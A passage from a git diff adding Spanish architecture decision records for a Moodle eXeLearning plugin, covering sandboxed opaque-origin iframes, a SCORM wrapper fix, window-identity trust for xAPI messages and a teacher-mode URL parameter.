+contenido sandboxed ya puede mostrar HTML falso, hacer POST de formulario cross-origin y cargar img de
+tracking). Lo propone el artículo de seguridad (§6.3) y lo confirma una revisión adversaria (agente
+Plan, read-only): **"SÍ, con condiciones"**.
+
+### Decisión: invariante estructural + modo `open` por defecto
+- Ajuste `mod_exelearning/embedmode`: **`open` (def.)** promueve cualquier iframe `src` **https +
+  cross-origin al LMS**; **`strict`** mantiene la lista blanca + reconstrucción por proveedor (para
+  despliegues donde ni el autor es de fiar). Fail-safe a `strict` ante valor inválido; default real
+  `open`. Esto **obvia** la idea de "whitelist configurable por admin".
+- `validate()` (relay) exige: parsear URL **absoluta** (NO resolver relativas contra el LMS — heredarían
+  su origen); `https:`; sin userinfo (`url.username/password`); cross-origin (`url.origin !==
+  window.location.origin`); no subdominio/superdominio del host del LMS (límite por punto en ambos
+  sentidos); no IP/IPv6/loopback/`localhost`/`.local`; host no vacío. PDF: cualquier https cross-origin
+  o fichero same-origin del paquete.
+- El shim promueve cualquier https cross-origin (+ `.pdf`) como candidato; el **relay** es la puerta
+  autoritativa (ya no hay lista de hosts en el shim).
+
+### Condiciones de seguridad (todas implementadas + verificadas)
+- **Player de vídeo SANDBOXEADO**: `sandbox="allow-scripts allow-same-origin allow-popups allow-forms
+  allow-presentation"` (SIN `allow-top-navigation` ni `allow-modals`). `allow-same-origin` va en el
+  iframe **cross-origin** (el proveedor conserva SU origen, no el del LMS) → renderiza y la SOP lo
+  aísla; es lo que permite sandboxearlo y **bloquear el top-navigation** (un sitio arbitrario no puede
+  redirigir la pestaña). **NO** es el `allow-same-origin` prohibido del iframe de CONTENIDO (cuyo src ES
+  el origen del LMS). Verificado en vivo: YouTube, Vimeo y EducaMadrid/JWPlayer renderizan bajo él.
+- **D1 (redirect-laundering)**: guard `load` que elimina el player si aterriza **same-origin** al LMS
+  (un `src` cross-origin que haga 30x al origen del LMS sería, con `allow-same-origin`, scriptable).
+- **D2 (impersonación)**: los players se marcan `data-exe-embed-player` y `frameForSource`/`pingAll` los
+  excluyen → un player sandboxeado no puede forjar un mensaje `sync` y hacerse pasar por contenido.
+- **PDF SIN sandbox**: el visor PDF del navegador **no funciona dentro de un iframe sandbox** (icono de
+  error; verificado), así que se deja **sin sandbox** (y por tanto sin `allow-same-origin`) como antes
+  de DEC-0061 (los PDF ya eran "cualquier https .pdf"). El guard D1 sigue aplicando a PDFs cross-origin.
+  Residual documentado: un servidor que sirva HTML en una ruta `.pdf` podría ejecutar scripts ahí
+  (pre-existente, bajo). **pdf.js** (que eXe empaqueta) NO es viable en el contenido opaco (su `fetch`
+  desde origen `null` está bloqueado por CORS, incl. `tokenpluginfile`); queda como mejora futura para
+  PDFs locales servida desde el padre.
+- **Sin backstop CSP en el padre**: una directiva `frame-src` en la página completa de Moodle podría
+  romper iframes propios de Moodle, así que no se añade; el guard D1 + el sandbox son los controles.
+
+### Verificación
+- Vitest `tests/js/exe_embed.test.js` reescrito (open + strict + helpers IP/subdominio + sandbox del
+  player + D2 forged-message). Suite JS **92/92**. `tools/check-embed-sync.mjs` con invariantes
+  estructurales, **0 drift**.
+- En vivo (mod localhost:80, modo `open`): YouTube/Vimeo/EducaMadrid/PDF renderizan, el player lleva el
+  sandbox correcto (`data-exe-embed-player`), y navegar entre páginas cambia el player (fix de nav).
+
+## Actualización (2026-06-28): dos problemas ortogonales + evolución a [[DEC-0067]]
+
+Al reanudar el trabajo de medios externos conviene **separar con claridad dos problemas** que se
+confunden a menudo (una síntesis automática los mezcló como si `referrerpolicy` arreglara el opaco):
+
+- **Problema A — propagación del sandbox (el de este ADR).** El `sandbox` sin `allow-same-origin` se
+  propaga al iframe anidado del player → pierde su origen `youtube.com`/`vimeo.com` y queda **en blanco**.
+  Lo arregla **únicamente** promover el player fuera del opaco (el overlay de este ADR). **`referrerpolicy`
+  NO lo arregla** (W3C Referrer Policy: origen opaco ⇒ sin referrer). Es lo que esta entrada verificó.
+- **Problema B — Error 153 / referrer.** Independiente del sandbox: ocurre incluso sin sandbox cuando el
+  host envía `Referrer-Policy: no-referrer` y el `<iframe>` no lleva `referrerpolicy`. Lo arregla el
+  **atributo `referrerpolicy`** del player (precedencia element-level sobre la cabecera de la página). Ya
+  presente aquí (punto 3 de la Decisión, `strict-origin-when-cross-origin`). Caso real (red Medusa,
+  Humberto ATE): la infra fijaba `no-referrer` **y Jetpack eliminaba el atributo** del embed → desactivar
+  esa función de Jetpack lo resolvía. Lección host: no dejar que un sanitizador elimine `referrerpolicy`.
+
+Es decir: este ADR ya resuelve **A** (overlay) y **B** (referrerpolicy), por lo que el **vídeo simple ya
+se ve en opaco**. Lo que queda abierto se decide en **[[DEC-0067]]**: (i) **endurecer el trust model** del
+relay (nonce por vista + `MessageChannel` con capability + cruzar sólo `{provider, videoId}`), alineándolo
+al bridge de eXeLearning sin abandonar el overlay inline; (ii) **arreglar el vídeo interactivo remoto**
+—la **limitación** documentada arriba (líneas 187-210)— **modificando el iDevice** de eXeLearning para que,
+en origen opaco, conduzca su control (play/pause/seek/time + hide/show) por el bridge endurecido. Clave:
+como el overlay mantiene el player en la geometría del `#player`, **la layout del iDevice permanece en el
+hijo** y no se reconstruye en el padre (que es lo que hizo frágil el prototipo revertido).
+
+Notas: **Vimeo por dominio** valida el host del Referer; con el player en el padre (origen del LMS) +
+`referrerpolicy=strict-origin-when-cross-origin`, la privacidad por dominio funciona **si** el dominio del
+LMS está en la lista blanca de Vimeo. El **teacher-mode** ya no se oculta por inyección sino por el
+parámetro core `?exe-teacher` ([[DEC-0066]]), compatible con el origen opaco.
+
+## Seguimiento
+
+- UI de admin para editar la lista blanca (hoy constante; configurable por filtro/ajuste como
+  seguimiento, igual que en wp/omeka).
+- Paridad mantenida con wp-exelearning (PR #56) y omeka-s-exelearning (PR #21): el JS shim/relay es la
+  misma lógica en los tres.
+- Independiente de TAREA-015 (xAPI) y TAREA-016 (origen por URL): el origen separado por URL sigue
+  siendo una alternativa válida para quien lo quiera, pero ya no es **necesaria** para ver vídeos/PDF.
diff --git a/research/decisiones/adr/DEC-0062-fix-pipwerks-get-api-local-origen-opaco.md b/research/decisiones/adr/DEC-0062-fix-pipwerks-get-api-local-origen-opaco.md
new file mode 100644
index 0000000..bea9743
--- /dev/null
+++ b/research/decisiones/adr/DEC-0062-fix-pipwerks-get-api-local-origen-opaco.md
@@ -0,0 +1,144 @@
+---
+id: DEC-0062
+titulo: "Fix: el bridge SCORM seguro nunca guardaba nota porque el get() de pipwerks no miraba la ventana local"
+estado: Aceptada
+fecha: 2026-06-14
+agentes:
+  - erseco
+  - claude-code
+fuentes:
+  - REPO-002
+experimentos: []
+relacionados:
+  - DEC-0059
+  - DEC-0060
+  - DEC-0017
+  - DEC-0042
+  - RIE-001
+herramienta_ia:
+  interfaz: claude-code
+  modelo: claude-opus-4-8
+---
+
+## Contexto
+
+`DEC-0059` implementó el bridge SCORM por `postMessage` con el iframe en **origen
+opaco** (modo `secure`, por defecto). Su pieza clave ("el linchpin") era inyectar un
+`window.API` (shim) DENTRO del iframe para que el pipwerks empaquetado lo descubriese
+**sin tocar el padre** cross-origin.
+
+Al verificar en vivo (`localhost:80`, modo `secure`) que la puntuación SCORM se
+guardaba, erseco reportó que **NO se guardaba**: contestar una pregunta y pulsar
+"Guardar la puntuación" no creaba ningún intento en `exelearning_attempt` ni llegaba
+ninguna petición a `track.php`. En modo `legacy` sí se guardaba. La "verificación"
+previa de DEC-0059 había usado un POST directo a `track.php` que **saltaba el bridge**,
+enmascarando el fallo.
+
+## Problema
+
+¿Por qué en modo `secure` el SCO nunca persiste la nota, si el shim sí inyecta
+`window.API` en el iframe y el handshake del bridge (`ready`→`config`) funciona?
+
+## Hechos verificados (con cita)
+
+Diagnóstico en vivo instrumentando el shim del iframe opaco (no observable desde fuera)
+y emitiendo el estado de pipwerks por `postMessage` al padre. Resultados decisivos sobre
+una actividad evaluable real en modo `secure`:
+
+1. **El shim funciona:** `window.API === shim` (`apiIsShim:true`), el handshake llega
+   (sin "secure blocked"), `pipwerks` cargó (`typeof === 'object'`).
+2. **Pero la conexión nunca se activa:** `pipwerks.SCORM.connection.isActive === false`,
+   `pipwerks.SCORM.version === null`, `pipwerks.SCORM.API.isFound === false`,
+   `pipwerks.SCORM.API.handle == null`, y `LMSInitialize` **nunca se llamó** (contador
+   0). Por tanto `LMSSetValue`/`LMSCommit` del guardado son no-ops silenciosos → 0 filas.
+3. **Causa raíz — `get()` lanza `SecurityError` y nunca mira la ventana local.**
+   Forzando `pipwerks.SCORM.API.get()` desde el shim:
+   `"SecurityError: Failed to read a named property 'API' from 'Window': Blocked a frame
+   with origin \"null\" from accessing a cross-origin frame."`
+   El `get()` vendado (`assets/scorm/SCORM_API_wrapper.js:130-150`, **modificado**
+   respecto al pipwerks estándar) arrancaba directamente en el **padre** y **omitía la
+   ventana actual**:
+   ```js
+   if (win.parent && win.parent != win) { API = find(win.parent); }  // ← sin find(win)
+   if (!API && win.top.opener) { API = find(win.top.opener); }
+   ```
+   - En `legacy` el padre es same-origin (Moodle, con `window.API`) → funciona.
+   - En `secure` el padre es opaco/cross-origin → `find(win.parent)` accede a
+     `parent.API` y lanza `SecurityError` → `init()` revienta (lo traga su `catch`) →
+     `isActive` se queda en `false` → nada se guarda.
+4. **El "linchpin" de DEC-0059 verificó la función equivocada.** DEC-0059 §"Hechos
+   verificados" (1) cita `find(win)` (`SCORM_API_wrapper.js:71-106`), que sí parte de la
+   ventana actual. Pero el punto de entrada real es `getHandle()`→`get()`, y **este
+   `get()` no llamaba a `find(window)`**. La premisa "pipwerks descubre el `window.API`
+   local antes de subir" era cierta para `find()` pero **falsa para `get()`**, que es
+   quien decide. El origen opaco del modo `secure` nunca fue alcanzable.
+5. **No hay doble pipwerks.** El export de eXeLearning sólo **usa** `pipwerks.SCORM.get/
+   set` (`libs/common.js:945,1175`); el único `pipwerks` es el vendado por mod
+   (`var pipwerks = {}`), inyectado por `scorm_injector`. Descartado como causa.
+
+## Causa raíz
+
+El `get()` vendado de pipwerks fue alterado en algún momento para mirar **sólo el
+padre** y saltarse la ventana actual. Eso es exactamente incompatible con la
+arquitectura de DEC-0059, que provee el API **localmente** en un iframe cuyo padre es
+**inalcanzable** por opaco.
+
+## Decisión
+
+Restaurar en `assets/scorm/SCORM_API_wrapper.js` el orden estándar de pipwerks en
+`get()`: **mirar primero la ventana actual** (`find(win)`) y sólo después subir al padre
+/ opener, **envolviendo cada salto cross-origin en `try/catch`** para que un ancestro
+opaco no pueda abortar la búsqueda nunca más.
+
+```js
+try { API = find(win); } catch (e) { trace(...); }                       // ventana local primero
+if (!API && win.parent && win.parent != win) {
+  try { API = find(win.parent); } catch (e) { trace(...); }              // fallback same-origin (legacy)
+}
+try { if (!API && win.top && win.top.opener) { API = find(win.top.opener); } } catch (e) { trace(...); }
+```
+
+- **`secure`:** `find(win)` encuentra el `window.API` del shim de inmediato (el bucle de
+  `find` no sube porque `win.API` existe) → `init()` activa la conexión → el guardado
+  fluye shim → `postMessage('track')` → relevo → `track.php` → BD.
+- **`legacy`:** sin API local, `find(win)` **sube** al padre same-origin y devuelve su
+  `window.API`, idéntico al comportamiento previo (equivalencia probada en test).
+
+Cambio mínimo y acotado a `get()`; no se toca `find()`, ni el shim, ni el relevo, ni el
+inyector, ni BD/upgrade.
+
+## Consecuencias
+
+- **Positiva:** el modo `secure` por defecto (DEC-0059/DEC-0060) **por fin guarda la
+  nota SCORM** de extremo a extremo; el "linchpin" que DEC-0059 daba por hecho ahora se
+  cumple de verdad. El aislamiento de RIE-001 se mantiene intacto (el `sesskey` sigue en
+  el padre; el contenido sigue sin alcanzarlo).
+- **Endurecimiento:** `get()` ya no puede lanzar por un ancestro opaco; degrada a `null`
+  con traza, como manda el contrato de pipwerks.
+- **Sin regresión en `legacy`:** la búsqueda sigue resolviendo al `window.API` del padre
+  same-origin (sube por `find`), verificado por test unitario.
+
+## Validación
+
+- **Vivo (`localhost:80`, modo `secure`):** tras contestar + "Guardar la puntuación", se
+  escriben las filas reales en `exelearning_attempt` (`rawscore=100.00`,
+  `status=completed`/`passed`) y el bridge emite `track` (`hasCmi:true`). Antes del fix:
+  0 filas, 0 `track`.
+- **Vitest** `tests/js/scorm_api_wrapper.test.js` (nuevo, 6 casos, verde): `get()`
+  devuelve el API **local** y no el del padre (regresión del bug); `get()` no lanza con
+  padre opaco y encuentra el local; `get()` devuelve `null` sin lanzar cuando no hay API
+  y el padre es opaco; `get()` sigue subiendo a un padre same-origin sin API local
+  (legacy); `init()` activa la conexión vía API local con padre opaco; `set()` llega al
+  API local una vez activa (la nota se guarda). Suite JS completa **87/87**.
+- **phpcs/PHPUnit/Behat**: el fix es JS vendado (sin PHP); se confirma en CI.
+
+## Seguimiento
+
+- **Test de regresión vendado:** este ADR introduce el primer test Vitest sobre
+  `assets/scorm/*` (declarado "fuera de alcance" en `vitest.config`), justificado por ser
+  crítico para la nota. No cuenta para cobertura (`include: ['js/**']`); es guardia de
+  comportamiento.
+- **Lección para DEC-0059:** verificar el **punto de entrada real** (`getHandle`/`get`),
+  no sólo la función auxiliar (`find`), antes de declarar un linchpin.
+- Posible follow-up: un Behat `@javascript` de grading que corra en modo `secure` real
+  (no sólo el paso server-side) habría cazado esto antes; queda recomendado.
diff --git a/research/decisiones/adr/DEC-0065-xapi-bridge-seguro-identidad-ventana.md b/research/decisiones/adr/DEC-0065-xapi-bridge-seguro-identidad-ventana.md
new file mode 100644
index 0000000..7d01304
--- /dev/null
+++ b/research/decisiones/adr/DEC-0065-xapi-bridge-seguro-identidad-ventana.md
@@ -0,0 +1,160 @@
+---
+id: DEC-0065
+titulo: "xAPI sobre el bridge seguro: el listener confía por identidad de ventana en el iframe opaco (extiende DEC-0064 al modo seguro de DEC-0059)"
+estado: Aceptada
+fecha: 2026-06-19
+agentes:
+  - erseco
+  - claude-code
+fuentes:
+  - REPO-005
+  - FTE-011
+relacionados:
+  - DEC-0064
+  - DEC-0059
+  - DEC-0060
+  - DEC-0062
+  - DEC-0063
+  - DEC-0019
+  - DEC-0007
+herramienta_ia:
+  interfaz: claude-code
+  modelo: claude-opus-4-8
+---
+
+## Contexto
+
+`DEC-0064` implementó la ingesta xAPI (**xAPI-primary**) asumiendo que el iframe del paquete se
+sirve **same-origin** por `pluginfile.php`: el listener `js/xapi_listener.js` confía un statement
+sólo si `event.origin === origen del host` (RIE-013, su cabecera lo dice literalmente).
+
+`DEC-0059`/`DEC-0060` introdujeron el **modo seguro** (por defecto): el paquete corre en un iframe
+de **origen opaco** (sandbox sin `allow-same-origin`, servido por `tokenpluginfile`). En un origen
+opaco, el `event.origin` de los postMessage del paquete es la **cadena `"null"`**, que nunca
+coincide con el origen del host.
+
+Al fusionar `main` (DEC-0064) en la rama del modo seguro —**ambos por defecto**— la configuración
+por defecto pasa a ser **secure + xAPI-primary**. Con el listener tal cual, en modo seguro
+**descarta todos los statements** y la nota xAPI **se pierde en silencio**. En el merge inicial se
+gateó xAPI a legacy como medida conservadora; este ADR registra la **solución definitiva**.
+**Extiende** (no supersede) `DEC-0064` al modo seguro de `DEC-0059`.
+
+## Problema
+
+¿Cómo recibir y calificar los statements xAPI cuando el paquete corre en un iframe de **origen
+opaco**, sin reintroducir el acoplamiento same-origin que el modo seguro elimina (`RIE-001`) y sin
+**doble conteo** con el canal SCORM del bridge?
+
+## Opciones consideradas
+
+1. **Gatear xAPI a legacy (status quo del merge).** En secure calificar siempre por el bridge SCORM.
+   - ✔ Simple; no rompe nada.  ✘ xAPI-primary (recomendado, por defecto) **no surte efecto en la
+     configuración por defecto**; el canal moderno queda inactivo justo donde más se usa.
+2. **Relajar el listener a aceptar `event.origin === "null"`.**
+   - ✘ **Inseguro**: cualquier iframe opaco de la página (p.ej. un embed promovido sandboxeado,
+     `DEC-0061`) tiene origen `"null"`; `"null"` **no identifica** al emisor. Descartada.
+3. **Validar por identidad de ventana (elegida).** El listener confía un statement cuando
+   `event.source === contentWindow del iframe del paquete`, **exactamente como** el relay del bridge
+   SCORM (`DEC-0059`). El navegador fija `event.source` a la ventana emisora y el script de la página
+   **no puede falsificarlo**; el origen opaco **no la anonimiza** (sólo afecta a `event.origin` y al
+   acceso DOM same-origin). En modo legacy se conserva la validación por origen.
+
+## Evidencia
+
+- **Contrato del emisor** (`REPO-005` @ `e3b1bd13`, `FTE-011`): el emisor hace
+  `root.parent.postMessage({type:'exe-xapi-statement', statement}, parentOrigin||'*')` **síncrono**
+  desde la ventana top-level del iframe — **sin Worker, sin MessageChannel, sin frame hijo dinámico**.
+  En nuestro empotrado (iframe **hijo directo** de `view.php`) el padre recibe el mensaje con
+  `event.source === iframe.contentWindow`. El `parentOrigin` lo fija `config_injector` al origen del
+  host; el `targetOrigin` constriñe al **receptor**, no a `event.origin`.
+- **Origen opaco** (`DEC-0060`): el sandbox sin `allow-same-origin` serializa el origen a la cadena
+  `"null"`, no al host; sólo afecta a `event.origin` y al DOM same-origin, **no** a `event.source`
+  (comportamiento del navegador, del que el relay SCORM ya depende —`DEC-0062`).
+- **Precedente en el repo**: `js/scorm_bridge_relay.js` ancla en `e.source !== fr.contentWindow`
+  («an opaque origin has no useful event.origin»).
+- **Confianza cero del servidor** (`DEC-0063`/`DEC-0064`): `xapi_track.php` exige `sesskey` +
+  capability y atribuye la nota a `$USER` ignorando el actor; el paquete opaco **no tiene sesskey** y
+  no puede llamar al endpoint directamente. Identidad de ventana = **sin nonce**, pero el modelo de
+  confianza es **idéntico a legacy** (que confía en todo script same-origin) porque el contenido se
+  **autocalifica** y el servidor **acota**.
+
+## Decisión
+
+1. **Listener con doble puerta de confianza.** `js/xapi_listener.js` admite dos modos: **origen**
+   (legacy, `allowedOrigin`) e **identidad de ventana** (secure, `iframeid` →
+   `document.getElementById(iframeid).contentWindow`, resuelto **perezosamente por mensaje** porque
+   el listener se inyecta **antes** de existir el elemento iframe). En identidad de ventana se
+   **ignora** `event.origin` (el `"null"` opaco) y el ancla es `event.source`.
+2. **xAPI-primary en ambos modos.** `view.php`:
+   `$emitsxapi = exelearning_xapi_primary_enabled() && exelearning_package_emits_xapi(...)` (se quita
+   el gateo `!$securemode`). En secure inyecta el listener con `iframeid`; en legacy con
+   `allowedOrigin`. Comparte `$sessiontoken` como `registration` (`DEC-0007`).
+3. **SCORM inerte por el padre, no por el shim.** Para evitar doble conteo, en secure el **relay**
+   (`js/scorm_bridge_relay.js`, parámetro `disableTracking`) **valida pero no reenvía** el POST SCORM
+   cuando hay xAPI-primary. La decisión vive en el **padre** (código fresco inyectado en cada carga),
+   **no** en el shim **horneado** en el paquete: así es robusta aunque el shim sea de una versión
+   previa al flag. El shim **no puede alcanzar `track.php`** por sí mismo (origen opaco, sin sesskey),
+   así que suprimir el reenvío en el relay es **autoritativo**. En legacy, el `disableTracking` del
+   propio `scorm_tracker.js` (`DEC-0064`) cumple el mismo rol.
+4. **Sin degradación de seguridad real.** El statement es **autorreportado** en ambos modos; el
+   servidor valida y acota (`DEC-0063`). Identidad de ventana iguala a legacy en confianza, pero
+   conserva el **aislamiento de sesión** del modo seguro: el paquete sigue sin ver el `sesskey`, y el
+   padre (que lo tiene) reenvía **sólo** statements del propio iframe.
+
+### Componentes entregados
+
+`js/xapi_listener.js` (modo identidad de ventana: `iframeid`/`expectedSource`, resolución perezosa,
+función `isTrusted`; conserva el modo origen), `js/scorm_bridge_relay.js` (parámetro `disableTracking`
+que suprime el POST tras validar), `view.php` (`$emitsxapi` sin gateo; relay con
+`disableTracking => $emitsxapi`; listener con `iframeid` en secure o `allowedOrigin` en legacy, vía el
+helper `$emitinlinemodule`). Tests Vitest: del listener por identidad de ventana (acepta sólo el
+`contentWindow` del iframe aunque el origen sea `"null"`; rechaza cualquier otra ventana aunque alegue
+el origen del host; resolución perezosa) y del relay inerte (un `track` válido no hace POST, pero
+`ready` sigue haciendo handshake y el beacon de `pagehide` no envía nada).
+
+## Consecuencias
+
+- **Positivas:** xAPI-primary funciona en la **config por defecto** (secure); un **único canal** por
+  paquete en ambos modos (cero doble conteo); reusa el patrón de **identidad de ventana** ya
+  verificado del bridge SCORM; **no toca el shim horneado** (robusto ante paquetes ya extraídos).
+- **Negativas / coste:** identidad de ventana **no lleva nonce** (el emisor es código upstream que no
+  lo conoce), pero es equivalente en confianza a legacy; el `event.origin` `"null"` se **ignora**
+  deliberadamente en secure.
+- **Dispara:** revierte el gateo a legacy del merge inicial; actualiza `docs/tracking-architecture.md`
+  y `docs/xapi-integration-plan.md`.
+
+## Riesgos
+
+- **RIE (bajo).** Un script malicioso **dentro** del paquete podría postear un `exe-xapi-statement`
+  falso (no hay nonce). **Mitigado**: es exactamente lo que ya puede hacer en legacy (mismo origen) y
+  en SCORM (el `set()` de pipwerks); el servidor **acota** (lista blanca de verbos, `objectid`
+  registrado, `scaled∈[0,1]`, idempotencia por `statement.id`, nota a `$USER`). El modo seguro sigue
+  impidiendo lo único que importa: **alcanzar la sesión/sesskey del padre** (`RIE-001`).
+- **RIE (muy bajo).** Un embed promovido (`DEC-0061`) que intentara suplantar: su `event.source` es
+  la ventana del **player**, no la del iframe del paquete → **rechazado** por identidad de ventana.
+- **Limitación heredada de `DEC-0064` (no introducida aquí): el kill switch surte efecto en la
+  PRÓXIMA carga, no en sesiones en curso.** `$emitsxapi` (y por tanto `disableTracking`) se hornea en
+  el HTML al cargar la página, mientras `xapi_track.php` consulta `exelearning_xapi_primary_enabled()`
+  en cada request. Si un admin **apaga** xapiprimaryenabled con una página ya abierta, esa página
+  suprime SCORM (estado horneado) pero el servidor ignora el xAPI (estado nuevo) → esa vista **no
+  califica hasta recargar** (al recargar, `$emitsxapi=false` → SCORM califica normal). Es **simétrico
+  a `DEC-0064`** (mismo patrón en legacy) y este ADR sólo lo extiende a secure de forma **consistente**;
+  no se corrige aquí porque las soluciones (consultar el ajuste por AJAX, o que `xapi_track.php` honre
+  un token de página) o bien debilitan el kill switch o bien requieren estado de servidor por página
+  —una decisión de producto separada sobre la semántica del kill switch de `DEC-0064`—. Mitigación
+  operativa: cambiar el ajuste fuera de horario de actividad. Documentado en `docs/xapi-qa-checklist.md`.
+
+## Validación
+
+`phpcs --standard=moodle` 0/0 (view.php y plugin completo); Vitest **114/114** (nuevos: identidad de
+ventana del listener + relay `disableTracking`); `php -l view.php` OK. **Pendiente (fase viva):** e2e
+en Moodle real capturando un `postMessage` real del emisor desde el iframe opaco → columna del
+gradebook (Behat/Playwright entrando al frame; el modo seguro **no** se prueba en el Playground
+PHP-WASM, que no sirve iframes opacos —`DEC-0060`).
+
+## Seguimiento
+
+- Mantiene **fuera de alcance** (eco de `DEC-0064`): handler `core_xapi` + eventos, cmi5, LRS externo,
+  y el `'*'` como destino de confianza.
+- Si un futuro emisor upstream adoptara un canal con **nonce/handshake**, el modo identidad de ventana
+  podría endurecerse a nonce, como el bridge SCORM.
diff --git a/research/decisiones/adr/DEC-0066-teacher-mode-parametro-core-exe-teacher.md b/research/decisiones/adr/DEC-0066-teacher-mode-parametro-core-exe-teacher.md
new file mode 100644
index 0000000..55c37b4
--- /dev/null
+++ b/research/decisiones/adr/DEC-0066-teacher-mode-parametro-core-exe-teacher.md
@@ -0,0 +1,98 @@
+---
+id: DEC-0066
+titulo: "Teacher-mode por parámetro core `?exe-teacher` (sin inyección CSS): compatible con origen opaco; supersede el hider de DEC-0046"
+estado: Aceptada
+fecha: 2026-06-28
+agentes:
+  - erseco
+  - claude-code
+fuentes:
+  - REPO-004
+relacionados:
+  - DEC-0046
+  - DEC-0059
+  - DEC-0045
+  - DEC-0067
+herramienta_ia:
+  interfaz: claude-code
+  modelo: claude-opus-4-8
+---
+
+## Contexto
+
+El export de eXeLearning pinta un **conmutador de "modo profesor"** (`#teacher-mode-toggler-wrapper`)
+que revela las capas de contenido reservadas al profesorado (soluciones, retroalimentación). En la
+vista embebida de Moodle ese conmutador debía gobernarse desde el plugin.
+
+La solución original ([[DEC-0046]] #2, `exelearning_require_teacher_mode_hider()`) **inyectaba un
+`<style>` en el `contentDocument` del iframe** para ocultar/mostrar el conmutador. Eso exigía acceso
+**same-origin** al documento del paquete (servido por `pluginfile.php`). Con el modo seguro
+([[DEC-0059]] + [[DEC-0060]]) el contenido pasa a **origen opaco** (`sandbox` sin `allow-same-origin`):
+el padre **no puede** leer ni escribir el `contentDocument` (lanza `SecurityError`), de modo que la
+inyección CSS del hider es **estructuralmente incompatible con el modo opaco**. Mientras el teacher-mode
+dependiera de inyección, el modo opaco no podía cubrir este caso → era un bloqueante para continuar el
+trabajo del origen opaco.
+
+## Decisión
+
+**Adoptar el parámetro nativo `?exe-teacher=1` que expone eXeLearning core** (upstream
+`exelearning#1772`): el export oculta el contenido de profesor por defecto y ofrece un selector para
+mostrarlo cuando la URL lleva `exe-teacher=1`. El plugin **deja de mutar el paquete** y se limita a
+**añadir el parámetro al `src` del iframe** (`view.php:274-285`):
+
+```php
+// El parámetro viaja en el src del iframe; el paquete lee su propio location.search
+// incluso bajo origen opaco, así que NO hace falta inyección CSS del host.
+if (!empty($exelearning->teachermodevisible)) {
+    $iframeurl->param('exe-teacher', '1');
+}
+```
+
+Claves de la decisión:
+
+1. **Compatible con origen opaco.** El parámetro viaja **en el `src`** y el paquete lee su **propia**
+   `location.search` desde dentro del iframe — no requiere que el host toque el `contentDocument`.
+   Funciona igual en **legacy (same-origin) y en secure (opaco)** (`view.php:283`, `view.php:623`).
+2. **El plugin no inyecta nada.** Se elimina `exelearning_require_teacher_mode_hider()` (antes
+   `lib.php:880`, encolada en `view.php:586`). El paquete servido queda **prístino**, reduciendo el
+   acoplamiento a internals de eXe que el informe técnico marcaba como deuda nº1 ([[DEC-0046]]).
+3. **Gobernado por `teachermodevisible`** (ajuste por actividad): cuando está activo, el selector se
+   ofrece a **todo visualizador** (sin role gate; paridad con la semántica de `mod_exeweb`).
+4. **Es el "arreglo upstream" que [[DEC-0046]] anticipaba** para el hider (#2): la opción "flag de
+   export modo embebido" se materializó como un parámetro de URL en eXe core, mejor aún que un flag de
+   build porque funciona sobre **cualquier** `.elpx` que lo soporte sin reempaquetar.
+
+Implementado y mergeado (PR 86, commit `4c33e8a`: "reveal via core `?exe-teacher` URL param, drop CSS
+injection"). Este ADR registra la decisión ya integrada.
+
+## Consecuencias
+
+- **Supersede la parte de teacher-mode (#2) de [[DEC-0046]]**: la inyección CSS del hider es ya
+  **histórica**. La parte de **SCORM-loader (#1)** de DEC-0046 no se ve afectada por esta entrada
+  (su salida definitiva sigue siendo xAPI / [[DEC-0045]] según corresponda).
+- **Desbloquea el modo opaco**: el teacher-mode deja de ser un caso que sólo funcionaba en same-origin.
+  Con esto resuelto, se puede continuar el trabajo de medios externos en opaco ([[DEC-0067]]).
+- **Menos deuda/acoplamiento**: el plugin ya no reescribe ni manipula el documento del paquete para el
+  teacher-mode; un cambio en cómo eXe pinta el conmutador ya no rompe al plugin.
+- **Dependencia de versión de eXe**: los `.elpx` exportados con versiones **anteriores** a
+  `exelearning#1772` no honran el parámetro; en ellos el conmutador se comporta como en el export base
+  (sin ocultar). Es una **degradación grácil** (no rompe la vista), no un fallo. No se conserva el hider
+  para esos paquetes (decisión: no reintroducir inyección incompatible con opaco).
+
+## Validación
+
+- **Código**: `view.php:274-285` añade `exe-teacher=1` al `src` sólo si `teachermodevisible`; el
+  comentario in-situ documenta que funciona bajo origen opaco porque el paquete lee su `location.search`.
+  `grep` confirma que `exelearning_require_teacher_mode_hider`/`require_teacher_mode` **ya no existen**
+  en el árbol (eliminadas en PR 86).
+- **Ajuste**: `teachermodevisible` persiste en `lib.php` (`add`/`update`, defaults a 0).
+- **Seguimiento**: la verificación en navegador del selector en **secure** (que el paquete muestre las
+  capas de profesor con el parámetro y las oculte sin él, sin tocar el `contentDocument`) se ancla en la
+  campaña de evidencia del modo seguro; enlazar el JSON de evidencia cuando se ejecute.
+
+## Seguimiento
+
+- Si en el futuro se exige una versión mínima de eXe ([[DEC-0030]]), documentar aquí el umbral a partir
+  del cual `exe-teacher` está garantizado.
+- Paridad con `wp-exelearning` / `omeka-s-exelearning`: si esos embebedores aún ocultan el conmutador por
+  CSS, migrarlos al mismo parámetro (mismo motivo: compatibilidad con opaco).
diff --git a/research/decisiones/adr/DEC-0067-estrategia-unificada-media-externo-opaco.md b/research/decisiones/adr/DEC-0067-estrategia-unificada-media-externo-opaco.md
new file mode 100644
index 0000000..c73187a
--- /dev/null
+++ b/research/decisiones/adr/DEC-0067-estrategia-unificada-media-externo-opaco.md
@@ -0,0 +1,200 @@
+---
+id: DEC-0067
+titulo: "Estrategia unificada de medios externos en origen opaco: overlay inline + canal id-only + control del vídeo interactivo por MessagePort (sin nonce-como-auth)"
+estado: Aceptada
+fecha: 2026-06-28
+agentes:
+  - erseco
+  - claude-code
+fuentes:
+  - REPO-005
+  - REPO-010
+  - REPO-011
+relacionados:
+  - DEC-0059
+  - DEC-0060
+  - DEC-0061
+  - DEC-0066
+herramienta_ia:
+  interfaz: claude-code
+  modelo: claude-opus-4-8
+---
+
+## Contexto
+
+Con el teacher-mode ya resuelto sin inyección ([[DEC-0066]]), se reanuda el trabajo de **medios
+externos en origen opaco**. [[DEC-0061]] dejó el vídeo YouTube/Vimeo y el PDF **funcionando** en modo
+seguro mediante *promote-to-parent* con **overlay inline**, pero con una limitación documentada (sus
+líneas 187-210): el **iDevice de vídeo interactivo** con fuente **remota** no funciona en opaco, y el
+prototipo de puente de control se **revirtió por frágil**. La comparativa [[AN-015]] dejó como
+`[PENDIENTE]` decidir la integración complementaria con el bridge de eXeLearning para recuperar el
+*timing* de preguntas.
+
+Antes de decidir conviene separar **dos problemas que se confunden con frecuencia** (la síntesis
+automática los mezcló):
+
